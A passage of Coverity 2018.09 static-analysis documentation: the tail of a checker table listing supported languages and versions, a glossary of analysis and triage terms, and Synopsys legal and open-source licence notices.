| UNINIT_CTOR | C++ | 3.1, 6.0.2, 6.6.0, 7.5.0 |
| UNINTENDED_GLOBAL | JavaScript | 7.7.0 |
| UNINTENDED_INTEGER_DIVISION | C/C++ | 7.5.0 |
| C# | 7.5.0 | |
| Java | 7.5.0 | |
| Scala | 2018.01 | |
| UNKNOWN_LANGUAGE_INJECTION | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| UNREACHABLE | C/C++ | 3.7, 4.1 |
| C# | 7.0, 7.5.0 | |
| Java | 6.5 | |
| JavaScript | 7.7.0 | |
| PHP | 8.0 | |
| Python | 8.0 | |
| Ruby | 8.5 | |
| Visual Basic | 2018.01 | |
| Scala | 2018.01 | |
| UNRESTRICTED_ACCESS_TO_FILE | Java Android | 8.7 |
| UNRESTRICTED_DISPATCH | C# Web app (Tainted dataflow checker) | 8.0 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| UNRESTRICTED_MESSAGE_TARGET | JavaScript | 2017.07 |
| UNSAFE_DESERIALIZATION | C# Web app | 8.0.0.S1 |
| Java Web app, Java Android | 7.0, 8.7 | |
| PHP | 2018.01 | |
| Python | 2018.01 | |
| UNSAFE_JNI | Java Web app (Tainted dataflow checker) | 7.0 |
| UNSAFE_REFLECTION | Java Web app (Tainted dataflow checker), Java Android | 7.0, 8.7 |
| UNUSED_VALUE | C/C++ | 2.x, 3.0, 7.5.0, 7.6.0 |
| C# | 7.5.0, 7.6.0 | |
| Java | 6.6.0, 7.5.0, 7.6.0 | |
| URL_MANIPULATION | Java Web app (Tainted dataflow checker), Java Android | 8.7 |
| USE_AFTER_FREE | C/C++ | 2.x, 3.3 |
| Java | 5.3, 5.4, 6.0 | |
| USER_POINTER | C/C++ | 2.x |
| USELESS_CALL | C/C++ | 7.6.0 |
| Java | 7.6.0 | |
| C# | 7.6.0 | |
| VARARGS | C/C++ | 3.2 |
| VIRTUAL_DTOR | C++ | 5.3 |
| VOLATILE_ATOMICITY | Java | 4.4, 6.0, 7.6.0 |
| C# | 7.0 | |
| WEAK_BIOMETRIC_AUTH | Swift | 2018.01 |
| WEAK_GUARD | C/C++ | 8.0 |
| Java Web app | 7.6.0.s1 | |
| WEAK_PASSWORD_HASH | C/C++ | 8.0 |
| C# Web app | 8.0 | |
| Java Web app, Java Android | 7.5.1.s3, 7.6.0, 7.6.0.s1, 8.5 | |
| WRAPPER_ESCAPE | C++ | 3.0, 5.2, 6.6.0 |
| WRONG_METHOD | Java | 7.5.0 |
| XML_EXTERNAL_ENTITY | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker), Java Android | 8.0.0.S1, 2017.07 | |
| XML_INJECTION | C# Web app (Tainted dataflow checker) | 8.0.0.S1 |
| Java Web app (Tainted dataflow checker) | 8.0.0.S1 | |
| XPATH_INJECTION | C# Web app (Tainted dataflow checker) | 8.5 |
| Java Web app (Tainted dataflow checker) | 7.0 | |
| XSS | C# Web app (Tainted dataflow checker) | 7.7.0, 8.5 |
| Java Web app (Tainted dataflow checker), Java Android | 6.5, 7.0.3.s2, 8.7 | |
| JavaScript (Tainted dataflow checker) | 8.5 | |
[a] Programming language of the source code that the checker can evaluate. [b] Version in which the checker was introduced, followed by any versions in which it was significantly updated. [c] The information is not available. | ||
A tree-shaped data structure that represents the structure of concrete input syntax (from source code).
In Coverity Connect, a customizable attribute used to triage a CID. Default values are Undecided, Fix Required, Fix Submitted, Modeling Required, and Ignore. Alternative custom values are possible.
The number of execution paths in a function, with loops counted one time at most. The following assumptions are also made:
continue breaks out of a loop.
while and for loops are executed exactly
0 or 1 time.
do…while loops are executed exactly once.
goto statements which go to an earlier source
location are treated as an exit.
Acyclic (Statement-only) Path Count adds the following assumptions:
Paths within expressions are not counted.
Multiple case labels at the same statement are counted as a single case.
In Coverity Connect, streams that are associated with the same always share the same triage data and history. For example, if Stream A and Stream B are associated with Triage Store 1, and both streams contain CID 123, the streams will share the triage values (such as a shared Bug classification or a Fix Required action) for that CID, regardless of whether the streams belong to the same project.
Advanced triage allows you to select one or more triage stores to update when triaging a CID in a Coverity Connect project. Triage store selection is possible only if the following conditions are true:
Some streams in the project are associated with one triage store (for example, TS1), and other streams in the project are associated with another triage store (for example, TS2). In this case, some streams that are associated with TS1 must contain the CID that you are triaging, and some streams that are associated with TS2 must contain that CID.
You have permission to triage issues in more than one of these triage stores.
In some cases, advanced triage can result in CIDs with issue attributes that are in the Various state in Coverity Connect.
See also, triage.
For C/C++, a comment with specific syntax in the source code that suppresses a false positive or enhances a function.
For Java, the standard Java annotation format is supported for this purpose.
Attributes to suppress false positives are not implemented for C# checkers.
See also code annotation and function annotation.
A graph in which functions are nodes, and the edges are the calls between the functions.
See issue category.
A program that traverses paths in your source code to find specific issues in it. Examples of checkers include RACE_CONDITION, RESOURCE_LEAK, and INFINITE_LOOP. For details about checkers, see Coverity 2018.09 Checker Reference.
See issue category.
A measure of change in defect reporting between two Coverity Analysis releases that are separated by one minor release, for example, 6.5.0 and 6.6.0.
A category that is assigned to a software issue in the database. Built-in classification values are Unclassified, Pending, False Positive, Intentional, and Bug. For Test Advisor issues, classifications include Untested, No Test Needed, and Tested Elsewhere. Issues that are classified as Unclassified, Pending, and Bug are regarded as software issues for the purpose of defect density calculations.
For C/C++, an annotation that suppresses a false positive. The analysis engine ignores events that are preceded by a code annotation, and defects that are caused by ignored events have the Intentional status in the Coverity Connect unless overridden. See also annotation and function annotation.
For Java, the standard Java annotation format is supported for this purpose.
Attributes to suppress false positives are not implemented for C# checkers.
A set of related source files.
The amount of code that is tested as a percentage of the total amount of code. Code coverage is measured different ways: line coverage, path coverage, statement coverage, decision coverage, condition coverage, and others.
A named grouping of source code files. Components allow developers to view only issues in the source files for which they are responsible, for example. In Coverity Connect, these files are specified by a Posix regular expression. See also, component map.
Describes how to map source code files, and the issues contained in the source files, into components.
A graph in which blocks of code without any jumps or jump targets are nodes, and the directed edges are the jumps in the control flow between the blocks. The entry block is where control enters the graph, and the exit block is where the control flow leaves.
An identification number assigned to a software issue. A snapshot contains issue instances (or occurrences), which take place on a specific code path in a specific version of a file. Issue instances, both within a snapshot and across snapshots (even in different streams), are grouped together according to similarity, with the intent that two issues are "similar" if the same source code change would fix them both. These groups of similar issues are given a numeric identifier, the CID. Coverity Connect associates triage data, such as classification, action, and severity, with the CID (rather than with an individual issue).
A community-developed list of software weaknesses, each of which is assigned a
number (for example, see CWE-476 at http://cwe.mitre.org/data/definitions/476.html
).
Coverity associates many categories of defects (such as "Null pointer
dereferences") with a CWE number.
The number of linearly independent execution paths through the functions in
your source code. The higher the number, the more complex the function. For
example, the complexity of a function with no control flow statements is 1
because there is only one possible execution path. However, an if
statement introduces at least two possible paths, one if the statement is true,
another if it is false.
The directory that contains the Coverity Connect database. After analysis, the
cov-commit-defects command stores defects in this
directory. You can use Coverity Connect to view the defects in this directory. See also
intermediate directory.
Code that cannot possibly be executed regardless of what input values are provided to the program. The DEADCODE checker can find this code.
See issue.
A characteristic of a function or algorithm that, when given the same input, will always give the same output.
Issue marked by developers as Intentional or False Positive in the Triage pane. When such issues are no longer present in the latest snapshot of the code base, they are identified as absent dismissed.
A combination of the language that is being analyzed and the type of analysis, either static or dynamic.
Analysis of software code by executing the compiled program. See also static analysis.
A JVM agent for Dynamic Analysis that instruments your program to gather runtime evidence of defects.
A sequential collection of snapshots, which each contain all of the issues that Dynamic Analysis reports during a single invocation of the Dynamic Analysis broker.
In Coverity Connect, a software issue is composed of one or more events found by the analysis. Events are useful in illuminating the context of the issue. See also issue.
A defect in the source code that is not found by Coverity Analysis.
A technique to ensure that defects are only detected on feasible paths. For
example, if a particular path through a method ensures that a given condition is
known to be true, then the else branch of an if
statement which tests that condition cannot be reached on that path. Any defects
found in the else branch would be impossible because they are “on a
false path”. Such defects are suppressed by a false path pruner.
A potential defect that is identified by Coverity Analysis, but that you decide is not a defect. In Coverity Connect, you can dismiss such issues as false positives. You might also use annotations (also called code annotations) in your source code to identify such issues as intentional during the source code analysis phase, prior to sending analysis results to Coverity Connect.
Issue from the previous snapshot that is not in the latest snapshot.
The Extend SDK engine notices that the second and subsequent paths through the loop are not significantly different from the first iteration, and stops analyzing the loop. This condition is called a fixpoint of the loop.
A checker that is stateless. The abstract syntax trees are not visited in any particular order.
An annotation that enhances or suppresses a function model. See also annotation and code annotation.
A model of a function that is not in the code base that enhances the intermediate representation of the code base that Coverity Analysis uses to more accurately analyze defects.
Term that is intended to indicate the likely urgency of fixing the issue, primarily considering its consequences for software quality and security, but also taking into account the accuracy of the checker. Impact is necessarily probabilistic and subjective, so one should not rely exclusively on it for prioritization.
Issue that has been triaged or fixed by developers.
A directory that is specified with the --dir option to many
commands. The main function of this directory is to write build and analysis
results before they are committed to the Coverity Connect database as a snapshot. Other more specialized commands that
support the --dir option also write data to or read data from
this directory.
The intermediate representation of the build is stored in
directory, while the analysis results are
stored in <intermediate_directory>/emit. This directory can contain
builds and analysis results for multiple languages (C/C++, C#, and Java code
bases).<intermediate_directory>/output
See also data directory.
The output of the Coverity compiler, which Coverity Analysis uses to run its analysis and check for defects. The intermediate representation of the code is in the intermediate directory.
An analysis for defects based on the interaction between functions. Coverity Analysis uses call graphs to perform this type of analysis. See also intraprocedural analysis.
An analysis for defects within a single procedure or function, as opposed to interprocedural analysis.
Coverity Connect displays three types of software issues: quality defects, potential security vulnerabilities, and test policy violations. Some checkers find both quality defects and potential security vulnerabilities, while others focus primarily on one type of issue or another. The Quality, Security, and Test Advisor dashboards in Coverity Connect provide high-level metrics on each type of issue.
Note that this glossary includes additional entries for the various types of issues, for example, an inspected issue, issue category, and so on.
A string used to describe the nature of a software issue; sometimes called a "checker category" or simply a "category." The issue pertains to a subcategory of software issue that a checker can report within the context of a given domain.
Examples:
Memory - corruptions
Incorrect expression
Integer overflow Insecure data handling
Impact tables in the Coverity 2018.09 Checker Reference list issues found by checkers according to their category and other associated checker properties.
For Coverity Analysis for C/C++, a path in a function that aborts program execution. See
for
the functions that are modeled in the system.<install_dir_sa>/library/generic/common/killpath.c
For Coverity Analysis for Java, and similarly for C#, a modeling primitive used to indicate
that execution terminates at this point, which prevents the analysis from
continuing down this execution path. It can be used to model a native method
that kills the process, like System.exit, or to specifically
identify an execution path as invalid.
A string that indicates whether software issues found by a given checker pertain to SECURITY (for security issues), QUALITY (for quality issues), TEST (for issues with developer tests, which are found by Test Advisor), or QUALITY/SECURITY. Some checkers can report quality and security issues. The Coverity Connect UI can use this property to filter and display CIDs.
A CID's state in the latest snapshot merged with its state from previous snapshots starting with the snapshot in which its state was 'New'.
Interprocedural analysis on a subset of the code base with Coverity Desktop plugins, in contrast to one with Coverity Analysis, which usually takes place on a remote server.
A string serving as a generic event message that explains why the checker reported a defect. The message is based on a subcategory of software issues that the checker can detect. Such strings appear in the Coverity Connect triage pane for a given CID.
Examples:
May result in a security violation.
There may be a null pointer exception, or else the comparison
against null is unnecessary.
A string that provides an extended description of a software issue (compare with type). The long description appears in the Coverity Connect triage pane for a given CID. In Coverity Connect, this description is followed by a link to a corresponding CWE, if available.
Examples:
The called function is unsafe for security related code.
All paths that lead to this null pointer comparison already
dereference the pointer earlier (CWE-476).
For Coverity Analysis for C/C++, a representation of each method in the application that is used for interprocedural analysis, created as each function is analyzed. For example, the model shows which arguments are dereferenced, and whether the function returns a null value.
For Coverity Analysis for Java, and similarly for C#, a representation of each method in the application that is used for interprocedural analysis. For example, the model shows which arguments are dereferenced, and whether the function returns a null value. Models are created as each function is analyzed.
Issues that are uninspected and unresolved.
User name of the user to whom an issue has been assigned in Coverity Connect. Coverity Connect identifies the owner of issues not yet assigned to a user as Unassigned.
The recursive visiting of children of a given node in order, and then the visit to the node itself. Left sides of assignments are evaluated after the assignment because the left side becomes the value of the entire assignment expression.
In Coverity Connect, a specified set of related streams that provide a comprehensive view of issues in a code base.
Issues that have been fixed or marked by developers as Intentional or False Positive through the Coverity Connect Triage pane.
In Prevent releases 4.5.x or lower, a grouping of defects committed to the
Coverity Connect. Each time defects are inserted into the Coverity Connect using the
cov-commit-defects command, a new run is created, and the
run ID is reported. See also snapshot
To clean or validate tainted data to ensure that the data is valid. Sanitizing tainted data is an important aspect of secure coding practices to eliminate system crashes, corruption, escalation of privileges, or denial of service. See also tainted data.
In Coverity Connect, a customizable property that can be assigned to CIDs. Default values are Unspecified, Major, Moderate, and Minor. Severities are generally used to specify how critical a defect is.
Coverity Analysis for C/C++: Any operation or function that must be protected from tainted
data. Examples are array subscripting, system(),
malloc().
Coverity Analysis for Java: Any operation or function that must be protected from tainted
data. Examples are array subscripting and the JDBC API
Connection.execute.
A copy of the state of a code base at a certain point during development. Snapshots help to isolate defects that developers introduce during development.
Snapshots contain the results of an analysis. A snapshot includes both the issue information and the source code in which the issues were found. Coverity Connect allows you to delete a snapshot in case you committed faulty data, or if you committed data for testing purposes.
Determines the snapshots from which the CID are listed using the Show and the optional Compared To fields. The show and compare scope is only configurable in the Settings menu in Issues:By Snapshot views and the snapshot information pane in the Snapshots view.
An entry point of untrusted data. Examples include environment variables, command line arguments, incoming network data, and source code.
Analysis of software code without executing the compiled program. See also dynamic analysis.
Describes the state of an issue. Takes one of the following values:
New, Triaged,
Dismissed, Absent Dismissed, or
Fixed.
A map from abstract syntax trees to integer values and a sequence of events. This map can be used to implement an abstract interpreter, used in flow-sensitive analysis.
A sequential collection of snapshots. Streams can thereby provide information about software issues over time and at a particular points in development process.
Any data that comes to a program as input from a user. The program does not have control over the values of the input, and so before using this data, the program must sanitize the data to eliminate system crashes, corruption, escalation of privileges, or denial of service. See also sanitize.
The process of setting the states of an issue in a particular stream, or of issues that occur in multiple streams. These user-defined states reflect items such as how severe the issue is, if it is an expected result (false positive), the action that should be taken for the issue, to whom the issue is assigned, and so forth. These details provide tracking information for your product. Coverity Connect provides a mechanism for you to update this information for individual and multiple issues that exist across one or more streams.
See also advanced triage.
A string that typically provides a short description of the root cause or potential effect of a software issue. The description pertains to a subcategory of software issues that the checker can find within the scope of a given domain. Such strings appear at the top of the Coverity Connect triage pane, next to the CID that is associated with the issue. Compare with long description.
Examples:
The called function is unsafe for security related code
Dereference before null check
Out-of-bounds access
Evaluation order violation
Impact tables in the Coverity 2018.09 Checker Reference list issues found by checkers according to their type and other associated checker properties.
An issue that is identical and present in multiple streams. Each instance of an identical, unified issue shares the same CID.
Issues that are as yet unclassified in Coverity Connect because they have not been triaged by developers.
Defects are marked by developers as Pending or Bug through the Coverity Connect Triage pane. Coverity Connect sometimes refers to these issues as Outstanding issues.
Coverity Connect uses the term Various in two cases:
When a checker is categorized as both a quality and a security checker. For example, USE_AFTER_FREE and UNINIT are listed as such in the Issue Kind column of the View pane. For details, see the Coverity 2018.09 Checker Reference.
When different instances of the same CID are triaged differently. Within the scope of a project, instances of a given CID that occur in separate streams can have different values for a given triage attribute if the streams are associated with different . For example, you might use advanced triage to classify a CID as a Bug in one triage store but retain the default Unclassified setting for the CID in another store. In such a case, the View pane of Coverity Connect identifies the project-wide classification of the CID as Various.
Note that if all streams share a single triage store, you will never encounter a CID in this triage state.
Saved searches for Coverity Connect data in a given project. Typically, these searches are filtered. Coverity Connect displays this output in data tables (located in the Coverity Connect View pane). The columns in these tables can include CIDs, files, snapshots, checker names, dates, and many other types of data.
The information contained in this document, and the Licensed Product provided by Synopsys,
are the proprietary and confidential information of Synopsys, Inc. and its affiliates and
licensors, and are supplied subject to, and may be used only by Synopsys customers in
accordance with the terms and conditions of a license agreement previously accepted by
Synopsys and that customer. Synopsys' current standard end user license terms and conditions
are contained in the cov_EULM files located at
<install_dir>/doc/en/licenses/end_user_license.
Portions of the product described in this documentation use third-party material. Notices,
terms and conditions, and copyrights regarding third party material may be found in the
<install_dir>/doc/en/licenses directory.
Customer acknowledges that the use of Synopsys Licensed Products may be enabled by authorization keys supplied by Synopsys for a limited licensed period. At the end of this period, the authorization key will expire. You agree not to take any action to work around or override these license restrictions or use the Licensed Products beyond the licensed period. Any attempt to do so will be considered an infringement of intellectual property rights that may be subject to legal action.
If Synopsys has authorized you, either in this documentation or pursuant to a separate
mutually accepted license agreement, to distribute Java source that contains Synopsys
annotations, then your distribution should include Synopsys'
analysis_install_dir/library/annotations.jar to ensure a clean
compilation. This annotations.jar file contains proprietary
intellectual property owned by Synopsys. Synopsys customers with a valid license to
Synopsys' Licensed Products are permitted to distribute this JAR file with source that has
been analyzed by Synopsys' Licensed Products consistent with the terms of such valid license
issued by Synopsys. Any authorized distribution must include the following copyright notice:
Copyright © 2018 Synopsys, Inc. All rights reserved
worldwide.
U.S. GOVERNMENT RESTRICTED RIGHTS: The Software and associated documentation are provided with Restricted Rights. Use, duplication, or disclosure by the U.S. Government is subject to restrictions set forth in subparagraph (c)(1) of The Rights in Technical Data and Computer Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and (2) of Commercial Computer Software – Restricted Rights at 48 CFR 52.227-19, as applicable.
The Manufacturer is: Synopsys, Inc. 690 E. Middlefield Road, Mountain View, California 94043.
The Licensed Product known as Coverity is protected by multiple patents and patents pending, including U.S. Patent No. 7,340,726.
Coverity and the Coverity logo are trademarks or registered trademarks of Synopsys, Inc. in the U.S. and other countries. Synopsys' trademarks may be used publicly only with permission from Synopsys. Fair use of Synopsys' trademarks in advertising and promotion of Synopsys' Licensed Products requires proper acknowledgement.
Microsoft, Visual Studio, and Visual C# are trademarks or registered trademarks of Microsoft Corporation in the United States and/or other countries.
Microsoft Research Detours Package, Version 3.0.
Copyright © Microsoft Corporation. All rights reserved.
Oracle and Java are registered trademarks of Oracle and/or affiliates. Other names may be trademarks of their respective owners.
"MISRA", "MISRA C" and the MISRA triangle logo are registered trademarks of MISRA Ltd, held on behalf of the MISRA Consortium. © MIRA Ltd, 1998 - 2013. All rights reserved. The name FindBugs and the FindBugs logo are trademarked by The University of Maryland.
Other names and brands may be claimed as the property of others.
This Licensed Product contains open source or community source software ("Open Source Software") provided under separate license terms (the
"Open Source License Terms"), as described in the
applicable license agreement under which this Licensed Product is licensed ("Agreement"). The applicable Open Source License Terms are
identified in a directory named licenses provided with the delivery of
this Licensed Product. For all Open Source Software subject to the terms of an LGPL license,
Customer may contact Synopsys at software-integrity-support@synopsys.com and Synopsys will comply with the terms of the
LGPL by delivering to Customer the applicable requested Open Source Software package, and
any modifications to such Open Source Software package, in source format, under the
applicable LGPL license. Any Open Source Software subject to the terms and conditions of the
GPLv3 license as its Open Source License Terms that is provided with this Licensed Product
is provided as a mere aggregation of GPL code with Synopsys' proprietary code, pursuant to
Section 5 of GPLv3. Such Open Source Software is a self-contained program separate and apart
from the Synopsys code that does not interact with the Synopsys proprietary code.
Accordingly, the GPL code and the Synopsys proprietary code that make up this Licensed
Product co-exist on the same media, but do not operate together. Customer may contact
Synopsys at software-integrity-support@synopsys.com and Synopsys will comply with the terms of the GPL by delivering to
Customer the applicable requested Open Source Software package in source code format, in
accordance with the terms and conditions of the GPLv3 license. No Synopsys proprietary code
that Synopsys chooses to provide to Customer will be provided in source code form; it will
be provided in executable form only. Any Customer changes to the Licensed Product (including
the Open Source Software) will void all Synopsys obligations under the Agreement, including
but not limited to warranty, maintenance services and infringement indemnity
obligations.
The Cobertura package, licensed under the GPLv2, has been modified as of release 7.0.3.
The package is a self-contained program, separate and apart from Synopsys code that does not
interact with the Synopsys proprietary code. The Cobertura package and the Synopsys
proprietary code co-exist on the same media, but do not operate together. Customer may
contact Synopsys at software-integrity-support@synopsys.com and Synopsys will comply with the terms of the GPL by
delivering to Customer the applicable requested open source package in source format, under
the GPLv2 license. Any Synopsys proprietary code that Synopsys chooses to provide to
Customer upon its request will be provided in object form only. Any changes to the Licensed
Product will void all Coverity obligations under the Agreement, including but not limited to
warranty, maintenance services and infringement indemnity obligations. If Customer does not
have the modified Cobertura package, Synopsys recommends to use the JaCoCo package
instead.
For information about using JaCoCo, see the description for cov-build
--java-coverage in the Command Reference.
Copyright © All rights reserved. Developed by: LLVM Team, University of
Illinois at Urbana-Champaign (http://llvm.org/). Permission
is hereby granted, free of charge, to any person obtaining a copy of LLVM/Clang
and associated documentation files ("Clang"), to deal with Clang without
restriction, including without limitation the rights to use, copy, modify,
merge, publish, distribute, sublicense, and/or sell copies of Clang, and to
permit persons to whom Clang is furnished to do so, subject to the following
conditions: Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimers. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimers in the documentation and/or other
materials provided with the distribution. Neither the name of the University of
Illinois at Urbana-Champaign, nor the names of its contributors may be used to
endorse or promote products derived from Clang without specific prior written
permission.
CLANG IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH CLANG OR THE USE OR OTHER DEALINGS WITH CLANG.
Copyright © Rackspace, US Inc. All rights reserved. Licensed under the
Apache License, Version 2.0 (the "License"); you may not use these files except
in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
Copyright © 2017, Synopsys Inc. All rights reserved worldwide.
(www.coverity.com), with Reserved Font Name fa-gear,
fa-info-circle, fa-question.
This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is available with a FAQ at
http://scripts.sil.org/OFL.
Copyright © 1999-2003 The Apache Software Foundation. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
The end-user documentation included with the redistribution, if any, must include the following acknowlegement: "This product includes software developed by the Apache Software Foundation (http://www.apache.org/)."
Alternately, this acknowlegement may appear in the software itself, if and wherever such third-party acknowlegements normally appear.
The names "The Jakarta Project", "Commons", and "Apache Software Foundation" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact apache@apache.org.
Products derived from this software may not be called "Apache" nor may "Apache" appear in their names without prior written permission of the Apache Group.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
http://www.apache.org/licenses/Licensed under the Apache License, Version 2.0 (the "License"); you may not
use this file except in compliance with the License. You may obtain a copy of
the License at:
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
Results of analysis from Coverity and Test Advisor represent the results of analysis as of the date and time that the analysis was conducted. The results represent an assessment of the errors, weaknesses and vulnerabilities that can be detected by the analysis, and do not state or infer that no other errors, weaknesses or vulnerabilities exist in the software analyzed. Synopsys does NOT guarantee that all errors, weakness or vulnerabilities will be discovered or detected or that such errors, weaknesses or vulnerabilities are are discoverable or detectable.
SYNOPSYS AND ITS SUPPLIERS DISCLAIM ALL WARRANTIES, CONDITIONS AND REPRESENTATIONS, EXPRESS, IMPLIED OR STATUTORY, INCLUDING THOSE RELATED TO MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, SATISFACTORY QUALITY, ACCURACY OR COMPLETENESS OF RESULTS, CONFORMANCE WITH DESCRIPTION, AND NON-INFRINGEMENT. SYNOPSYS AND ITS SUPPLIERS SPECIFICALLY DISCLAIM ALL IMPLIED WARRANTIES, CONDITIONS AND REPRESENTATIONS ARISING OUT OF COURSE OF DEALING, USAGE OR TRADE.